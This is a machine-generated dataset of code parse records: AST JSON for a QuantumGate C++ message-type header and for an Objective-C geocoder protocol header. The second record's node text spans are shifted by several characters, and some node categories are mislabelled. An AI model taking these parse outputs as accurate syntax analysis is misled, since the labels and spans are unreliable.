"EndPrimaryKeyUpdateExchange", "parent": 75, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 29}}, {"id": 77, "type": "=", "text": "=", "parent": 75, "children": [], "start_point": {"row": 23, "column": 30}, "end_point": {"row": 23, "column": 31}}, {"id": 78, "type": "number_literal", "text": "120", "parent": 75, "children": [], "start_point": {"row": 23, "column": 32}, "end_point": {"row": 23, "column": 35}}, {"id": 79, "type": "comma_expression", "text": "BeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 74, "children": [80, 84], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 80, "type": "assignment_expression", "text": "BeginSecondaryKeyUpdateExchange = 130", "parent": 79, "children": [81, 82, 83], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 39}}, {"id": 81, "type": "identifier", "text": "BeginSecondaryKeyUpdateExchange", "parent": 80, "children": [], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 33}}, {"id": 82, "type": "=", "text": "=", "parent": 80, "children": [], "start_point": {"row": 24, "column": 34}, "end_point": {"row": 24, "column": 35}}, {"id": 83, "type": "number_literal", "text": "130", "parent": 80, "children": [], "start_point": {"row": 24, "column": 36}, "end_point": {"row": 24, "column": 39}}, {"id": 84, "type": "comma_expression", "text": "EndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 79, "children": [85, 89], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 85, "type": "assignment_expression", "text": "EndSecondaryKeyUpdateExchange = 140", "parent": 84, "children": [86, 87, 88], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 37}}, {"id": 86, "type": "identifier", "text": "EndSecondaryKeyUpdateExchange", "parent": 85, "children": [], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 31}}, {"id": 87, "type": "=", "text": "=", "parent": 85, "children": [], "start_point": {"row": 25, "column": 32}, "end_point": {"row": 25, "column": 33}}, {"id": 88, "type": "number_literal", "text": "140", "parent": 85, "children": [], "start_point": {"row": 25, "column": 34}, "end_point": {"row": 25, "column": 37}}, {"id": 89, "type": "comma_expression", "text": "KeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 84, "children": [90, 94], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 90, "type": "assignment_expression", "text": "KeyUpdateReady = 150", "parent": 89, "children": [91, 92, 93], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 22}}, {"id": 91, "type": "identifier", "text": "KeyUpdateReady", "parent": 90, "children": [], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 16}}, {"id": 92, "type": "=", "text": "=", "parent": 90, "children": [], "start_point": {"row": 26, "column": 17}, "end_point": {"row": 26, "column": 18}}, {"id": 93, "type": "number_literal", "text": "150", "parent": 90, "children": [], "start_point": {"row": 26, "column": 19}, "end_point": {"row": 26, "column": 22}}, {"id": 94, "type": "comma_expression", "text": "ExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 89, "children": [95, 99], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 95, "type": "assignment_expression", "text": "ExtenderCommunication = 160", "parent": 94, "children": [96, 97, 98], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 29}}, {"id": 96, "type": "identifier", "text": "ExtenderCommunication", "parent": 95, "children": [], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 23}}, {"id": 97, "type": "=", "text": "=", "parent": 95, "children": [], "start_point": {"row": 28, "column": 24}, "end_point": {"row": 28, "column": 25}}, {"id": 98, "type": "number_literal", "text": "160", "parent": 95, "children": [], "start_point": {"row": 28, "column": 26}, "end_point": {"row": 28, "column": 29}}, {"id": 99, "type": "comma_expression", "text": "ExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 94, "children": [100, 104], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 100, "type": "assignment_expression", "text": "ExtenderUpdate = 170", "parent": 99, "children": [101, 102, 103], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 22}}, {"id": 101, "type": "identifier", "text": "ExtenderUpdate", "parent": 100, "children": [], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 16}}, {"id": 102, "type": "=", "text": "=", "parent": 100, "children": [], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 18}}, {"id": 103, "type": "number_literal", "text": "170", "parent": 100, "children": [], "start_point": {"row": 29, "column": 19}, "end_point": {"row": 29, "column": 22}}, {"id": 104, "type": "comma_expression", "text": "Noise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 99, "children": [105, 109], "start_point": {"row": 30, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 105, "type": "assignment_expression", "text": "Noise = 180", "parent": 104, "children": [106, 107, 108], "start_point": {"row": 30, "column": 2}, "end_point": {"row": 30, "column": 13}}, {"id": 106, "type": "identifier", "text": "Noise", "parent": 105, "children": [], "start_point": {"row": 30, "column": 2}, "end_point": {"row": 30, "column": 7}}, {"id": 107, "type": "=", "text": "=", "parent": 105, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 9}}, {"id": 108, "type": "number_literal", "text": "180", "parent": 105, "children": [], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 13}}, {"id": 109, "type": "comma_expression", "text": "RelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 104, "children": [110, 114], "start_point": {"row": 32, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 110, "type": "assignment_expression", "text": "RelayCreate = 300", "parent": 109, "children": [111, 112, 113], "start_point": {"row": 32, "column": 2}, "end_point": {"row": 32, "column": 19}}, {"id": 111, "type": "identifier", "text": "RelayCreate", "parent": 110, "children": [], "start_point": {"row": 32, "column": 2}, "end_point": {"row": 32, "column": 13}}, {"id": 112, "type": "=", "text": "=", "parent": 110, "children": [], "start_point": {"row": 32, "column": 14}, "end_point": {"row": 32, "column": 15}}, {"id": 113, "type": "number_literal", "text": "300", "parent": 110, "children": [], "start_point": {"row": 32, "column": 16}, "end_point": {"row": 32, "column": 19}}, {"id": 114, "type": "comma_expression", "text": "RelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 109, "children": [115, 119], "start_point": {"row": 33, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 115, "type": "assignment_expression", "text": "RelayStatus = 310", "parent": 114, "children": [116, 117, 118], "start_point": {"row": 33, "column": 2}, "end_point": {"row": 33, "column": 19}}, {"id": 116, "type": "identifier", "text": "RelayStatus", "parent": 115, "children": [], "start_point": {"row": 33, "column": 2}, "end_point": {"row": 33, "column": 13}}, {"id": 117, "type": "=", "text": "=", "parent": 115, "children": [], "start_point": {"row": 33, "column": 14}, "end_point": {"row": 33, "column": 15}}, {"id": 118, "type": "number_literal", "text": "310", "parent": 115, "children": [], "start_point": {"row": 33, "column": 16}, "end_point": {"row": 33, "column": 19}}, {"id": 119, "type": "comma_expression", "text": "RelayData = 320,\n\t\tRelayDataAck = 330", "parent": 114, "children": [120, 124], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 120, "type": "assignment_expression", "text": "RelayData = 320", "parent": 119, "children": [121, 122, 123], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 17}}, {"id": 121, "type": "identifier", "text": "RelayData", "parent": 120, "children": [], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 11}}, {"id": 122, "type": "=", "text": "=", "parent": 120, "children": [], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 13}}, {"id": 123, "type": "number_literal", "text": "320", "parent": 120, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 17}}, {"id": 124, "type": "assignment_expression", "text": "RelayDataAck = 330", "parent": 119, "children": [125, 126, 127], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 125, "type": "identifier", "text": "RelayDataAck", "parent": 124, "children": [], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 14}}, {"id": 126, "type": "=", "text": "=", "parent": 124, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 16}}, {"id": 127, "type": "number_literal", "text": "330", "parent": 124, "children": [], "start_point": {"row": 35, "column": 17}, "end_point": {"row": 35, "column": 20}}, {"id": 128, "type": "function_definition", "text": "enum class RelayStatusUpdate : UInt8\n\t{\n\t\tDisconnected = 0,\n\t\tConnected = 1,\n\t\tSuspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9\n\t};\n}", "parent": 3, "children": [129, 131, 132], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 51, "column": 1}}, {"id": 129, "type": "enum_specifier", "text": "enum class", "parent": 128, "children": [130], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 11}}, {"id": 130, "type": "enum", "text": "enum", "parent": 129, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 5}}, {"id": 131, "type": "identifier", "text": "RelayStatusUpdate", "parent": 128, "children": [], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 29}}, {"id": 132, "type": "ERROR", "text": ": UInt8", "parent": 128, "children": [133], "start_point": {"row": 38, "column": 30}, "end_point": {"row": 38, "column": 37}}, {"id": 133, "type": "identifier", "text": "UInt8", "parent": 132, "children": [], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 37}}, {"id": 134, "type": "comma_expression", "text": "Disconnected = 0,\n\t\tConnected = 1,\n\t\tSuspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 128, "children": [135, 139], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 135, "type": "assignment_expression", "text": "Disconnected = 0", "parent": 134, "children": [136, 137, 138], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 40, "column": 18}}, {"id": 136, "type": "identifier", "text": "Disconnected", "parent": 135, "children": [], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 40, "column": 14}}, {"id": 137, "type": "=", "text": "=", "parent": 135, "children": [], "start_point": {"row": 40, "column": 15}, "end_point": {"row": 40, "column": 16}}, {"id": 138, "type": "number_literal", "text": "0", "parent": 135, "children": [], "start_point": {"row": 40, "column": 17}, "end_point": {"row": 40, "column": 18}}, {"id": 139, "type": "comma_expression", "text": "Connected = 1,\n\t\tSuspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 134, "children": [140, 144], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 140, "type": "assignment_expression", "text": "Connected = 1", "parent": 139, "children": [141, 142, 143], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 15}}, {"id": 141, "type": "identifier", "text": "Connected", "parent": 140, "children": [], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 11}}, {"id": 142, "type": "=", "text": "=", "parent": 140, "children": [], "start_point": {"row": 41, "column": 12}, "end_point": {"row": 41, "column": 13}}, {"id": 143, "type": "number_literal", "text": "1", "parent": 140, "children": [], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 15}}, {"id": 144, "type": "comma_expression", "text": "Suspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 139, "children": [145, 149], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 145, "type": "assignment_expression", "text": "Suspended = 2", "parent": 144, "children": [146, 147, 148], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 15}}, {"id": 146, "type": "identifier", "text": "Suspended", "parent": 145, "children": [], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 11}}, {"id": 147, "type": "=", "text": "=", "parent": 145, "children": [], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 13}}, {"id": 148, "type": "number_literal", "text": "2", "parent": 145, "children": [], "start_point": {"row": 42, "column": 14}, "end_point": {"row": 42, "column": 15}}, {"id": 149, "type": "comma_expression", "text": "Resumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 144, "children": [150, 154], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 150, "type": "assignment_expression", "text": "Resumed = 3", "parent": 149, "children": [151, 152, 153], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 43, "column": 13}}, {"id": 151, "type": "identifier", "text": "Resumed", "parent": 150, "children": [], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 43, "column": 9}}, {"id": 152, "type": "=", "text": "=", "parent": 150, "children": [], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 43, "column": 11}}, {"id": 153, "type": "number_literal", "text": "3", "parent": 150, "children": [], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 13}}, {"id": 154, "type": "comma_expression", "text": "GeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 149, "children": [155, 159], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 155, "type": "assignment_expression", "text": "GeneralFailure = 4", "parent": 154, "children": [156, 157, 158], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 20}}, {"id": 156, "type": "identifier", "text": "GeneralFailure", "parent": 155, "children": [], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 16}}, {"id": 157, "type": "=", "text": "=", "parent": 155, "children": [], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 44, "column": 18}}, {"id": 158, "type": "number_literal", "text": "4", "parent": 155, "children": [], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 20}}, {"id": 159, "type": "comma_expression", "text": "ConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 154, "children": [160, 164], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 160, "type": "assignment_expression", "text": "ConnectionReset = 5", "parent": 159, "children": [161, 162, 163], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 21}}, {"id": 161, "type": "identifier", "text": "ConnectionReset", "parent": 160, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 17}}, {"id": 162, "type": "=", "text": "=", "parent": 160, "children": [], "start_point": {"row": 45, "column": 18}, "end_point": {"row": 45, "column": 19}}, {"id": 163, "type": "number_literal", "text": "5", "parent": 160, "children": [], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 21}}, {"id": 164, "type": "comma_expression", "text": "NoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 159, "children": [165, 169], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 165, "type": "assignment_expression", "text": "NoPeersAvailable = 6", "parent": 164, "children": [166, 167, 168], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 22}}, {"id": 166, "type": "identifier", "text": "NoPeersAvailable", "parent": 165, "children": [], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 18}}, {"id": 167, "type": "=", "text": "=", "parent": 165, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 20}}, {"id": 168, "type": "number_literal", "text": "6", "parent": 165, "children": [], "start_point": {"row": 46, "column": 21}, "end_point": {"row": 46, "column": 22}}, {"id": 169, "type": "comma_expression", "text": "HostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 164, "children": [170, 174], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 170, "type": "assignment_expression", "text": "HostUnreachable = 7", "parent": 169, "children": [171, 172, 173], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 47, "column": 21}}, {"id": 171, "type": "identifier", "text": "HostUnreachable", "parent": 170, "children": [], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 47, "column": 17}}, {"id": 172, "type": "=", "text": "=", "parent": 170, "children": [], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 19}}, {"id": 173, "type": "number_literal", "text": "7", "parent": 170, "children": [], "start_point": {"row": 47, "column": 20}, "end_point": {"row": 47, "column": 21}}, {"id": 174, "type": "comma_expression", "text": "ConnectionRefused = 8,\n\t\tTimedOut = 9", "parent": 169, "children": [175, 179], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 175, "type": "assignment_expression", "text": "ConnectionRefused = 8", "parent": 174, "children": [176, 177, 178], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 23}}, {"id": 176, "type": "identifier", "text": "ConnectionRefused", "parent": 175, "children": [], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 19}}, {"id": 177, "type": "=", "text": "=", "parent": 175, "children": [], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 21}}, {"id": 178, "type": "number_literal", "text": "8", "parent": 175, "children": [], "start_point": {"row": 48, "column": 22}, "end_point": {"row": 48, "column": 23}}, {"id": 179, "type": "assignment_expression", "text": "TimedOut = 9", "parent": 174, "children": [180, 181, 182], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 180, "type": "identifier", "text": "TimedOut", "parent": 179, "children": [], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 10}}, {"id": 181, "type": "=", "text": "=", "parent": 179, "children": [], "start_point": {"row": 49, "column": 11}, "end_point": {"row": 49, "column": 12}}, {"id": 182, "type": "number_literal", "text": "9", "parent": 179, "children": [], "start_point": {"row": 49, "column": 13}, "end_point": {"row": 49, "column": 14}}]}, "node_categories": {"declarations": {"functions": [128], "variables": [], "classes": [], "imports": [], "modules": [], "enums": [9, 10, 129, 130]}, "statements": {"expressions": [14, 19, 24, 29, 34, 39, 44, 49, 54, 59, 64, 69, 74, 79, 84, 89, 94, 99, 104, 109, 114, 119, 134, 139, 144, 149, 154, 159, 164, 169, 174], "assignments": [15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100, 105, 110, 115, 120, 124, 135, 140, 145, 150, 155, 160, 165, 170, 175, 179], "loops": [], "conditionals": [4, 6, 7, 8, 11, 13, 16, 21, 26, 31, 36, 41, 46, 51, 56, 61, 66, 71, 76, 81, 86, 91, 96, 101, 106, 111, 116, 121, 125, 131, 133, 136, 141, 146, 151, 156, 161, 166, 171, 176, 180], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [18, 23, 28, 33, 38, 43, 48, 53, 58, 63, 68, 73, 78, 83, 88, 93, 98, 103, 108, 113, 118, 123, 127, 138, 143, 148, 153, 158, 163, 168, 173, 178, 182], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 128, "universal_type": "function", "name": "RelayStatusUpdate", "text_snippet": "enum class RelayStatusUpdate : UInt8\n\t{\n\t\tDisconnected = 0,\n\t\tConnected = 1,\n\t\tSuspended = 2,\n\t\tResu"}], "class_declarations": [], "import_statements": []}, "original_source_code": "// This file is part of the QuantumGate project. For copyright and\n// licensing information refer to the license file(s) in the project root.\n\n#pragma once\n\nnamespace QuantumGate::Implementation::Core\n{\n\tenum class MessageType : UInt16\n\t{\n\t\tUnknown = 0,\n\n\t\tBeginMetaExchange = 10,\n\t\tEndMetaExchange = 20,\n\t\tBeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330\n\t};\n\n\tenum class RelayStatusUpdate : UInt8\n\t{\n\t\tDisconnected = 0,\n\t\tConnected = 1,\n\t\tSuspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9\n\t};\n}"}
81,159
c
// // GeocoderProvider.h // GWV2 // // Created by gewara on 12-4-12. // Copyright (c) 2012年 __MyCompanyName__. All rights reserved. // #import <UIKit/UIKit.h> @class SVLocationDescription; @protocol SVGeocoderDelegate <NSObject> @optional - (void)geocoder:(id)geocoder didRecieveLocality:(SVLocationDescription *)info; - (void)geocoder:(id)geocoder didError:(NSError *)error; @end @protocol SVGeocoder <NSObject> @property(nonatomic, assign)id<SVGeocoderDelegate> delegate; - (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude; - (void)cancel; @end
29.16
19
(translation_unit) "//\n// GeocoderProvider.h\n// GWV2\n//\n// Created by gewara on 12-4-12.\n// Copyright (c) 2012年 __MyCompanyName__. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@class SVLocationDescription;\n\n@protocol SVGeocoderDelegate <NSObject>\n\n@optional\n- (void)geocoder:(id)geocoder didRecieveLocality:(SVLocationDescription *)info;\n- (void)geocoder:(id)geocoder didError:(NSError *)error;\n\n@end\n\n@protocol SVGeocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n\n@end\n" (comment) "//" (comment) "// GeocoderProvider.h" (comment) "// GWV2" (comment) "//" (comment) "// Created by gewara on 12-4-12." (comment) "// Copyright (c) 2012年 __MyCompanyName__. All rights reserved.\n/" (comment) "\n\n" (preproc_call) "mport <UIKit/UIKit.h>\n\n@" (preproc_directive) "mport <" (preproc_arg) "IKit/UIKit.h>\n\n" (ERROR) "l" (ERROR) "l" (declaration) "ass SVLocationDescription;\n\n" (type_identifier) "ass S" (identifier) "LocationDescription;\n" (;) "\n" (ERROR) "rotocol SVGeocoderDelegate <NSObject>\n\n@optional\n- (void)geocoder:(id" (ERROR) "r" (type_identifier) "otocol S" (identifier) "GeocoderDelegate <" (<) "S" (identifier) "Object>\n" (>) "\n" (ERROR) "p" (identifier) "tional\n-" (unary_expression) "(void)geocoder:(" (-) "(" (cast_expression) "oid)geocoder:(" (() "o" (type_descriptor) "id)g" (primitive_type) "id)g" ()) "e" (identifier) "ocoder:(" (:) "i" (() "d" (declaration) ")geocoder d" (type_identifier) ")g" (ERROR) "e" ()) "e" (identifier) "ocoder d" (;) "" (labeled_statement) "dRecieveLocality:(SVLocationDescription *)info;\n-" (statement_identifier) "dRecieveLocality:(" (:) "S" (expression_statement) "VLocationDescription *)info;\n-" (cast_expression) "VLocationDescription *)info;\n" (() "V" (type_descriptor) "LocationDescription *)i" (type_identifier) "LocationDescription *" (abstract_pointer_declarator) "i" (*) "i" ()) "n" (identifier) "fo;\n" (;) "-" (ERROR) "(void)geocoder:(id)ge" (unary_expression) "(void)geocoder:(" (-) "(" (cast_expression) "oid)geocoder:(" (() "o" (type_descriptor) "id)g" (primitive_type) "id)g" ()) "e" (identifier) "ocoder:(" (:) "i" (() "d" (identifier) ")g" ()) "e" (declaration) "ocoder didError:(NSError *)error;\n\n" (type_identifier) "ocoder d" (identifier) "dError:(" (ERROR) "NSError *)error;\n" (:) "N" (() "S" (identifier) "Error *" (*) "e" ()) "r" (identifier) "ror;\n" (;) "\n" (ERROR) "n" (ERROR) "n" (declaration) "d\n\n@protocol S" (type_identifier) "d\n\n" (ERROR) "r" (ERROR) "r" (identifier) "otocol S" (;) "" (ERROR) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n\n@end\n" (binary_expression) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n" (binary_expression) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(" (binary_expression) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n" (binary_expression) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> " (binary_expression) "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<S" (binary_expression) "Geocoder <NSObject>\n" (identifier) "Geocoder <" (<) "S" (identifier) "Object>\n" (>) "\n" (ERROR) "roperty(nonatomic, assign)id" (ERROR) "r" (call_expression) "operty(nonatomic, assign)id" (identifier) "operty(n" (argument_list) "onatomic, assign)id" (() "o" (identifier) "natomic, " (,) "a" (identifier) "sign)i" ()) "d" (identifier) "<S" (<) "V" (identifier) "GeocoderDelegate> " (>) "d" (identifier) "legate;\n" (ERROR) "\n" (;) "\n" (-) "(" (cast_expression) "oid)geocodeWithLatitude:(" (() "o" (type_descriptor) "id)g" (primitive_type) "id)g" ()) "e" (identifier) "ocodeWithLatitude:(" (ERROR) "double)latitude longitude:(double)longitude;\n-" (:) "d" (() "o" (primitive_type) "uble)l" ()) "a" (identifier) "titude l" (identifier) "ngitude:(" (:) "d" (() "o" (primitive_type) "uble)l" ()) "o" (identifier) "ngitude;\n" (;) "-" (-) "(" (cast_expression) "oid)cancel;\n" (() "o" (type_descriptor) "id)c" (primitive_type) "id)c" ()) "a" (identifier) "ncel;\n" (;) "\n" (ERROR) "n" (identifier) "d\n"
145
18
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 29.16, "nodes": 95, "errors": 0, "source_hash": "85043a78758564e361635ea01079ede5f244808635f78d630e7d931e73a8bd5b", "categorized_nodes": 53}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "mport <UIKit/UIKit.h>\n\n@", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "mport <", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "IKit/UIKit.h>\n\n", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 23}}, {"id": 3, "type": "ERROR", "text": "l", "parent": null, "children": [4], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 4, "type": "ERROR", "text": "l", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 5, "type": "declaration", "text": "ass SVLocationDescription;\n\n", "parent": null, "children": [6, 7], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 29}}, {"id": 6, "type": "type_identifier", "text": 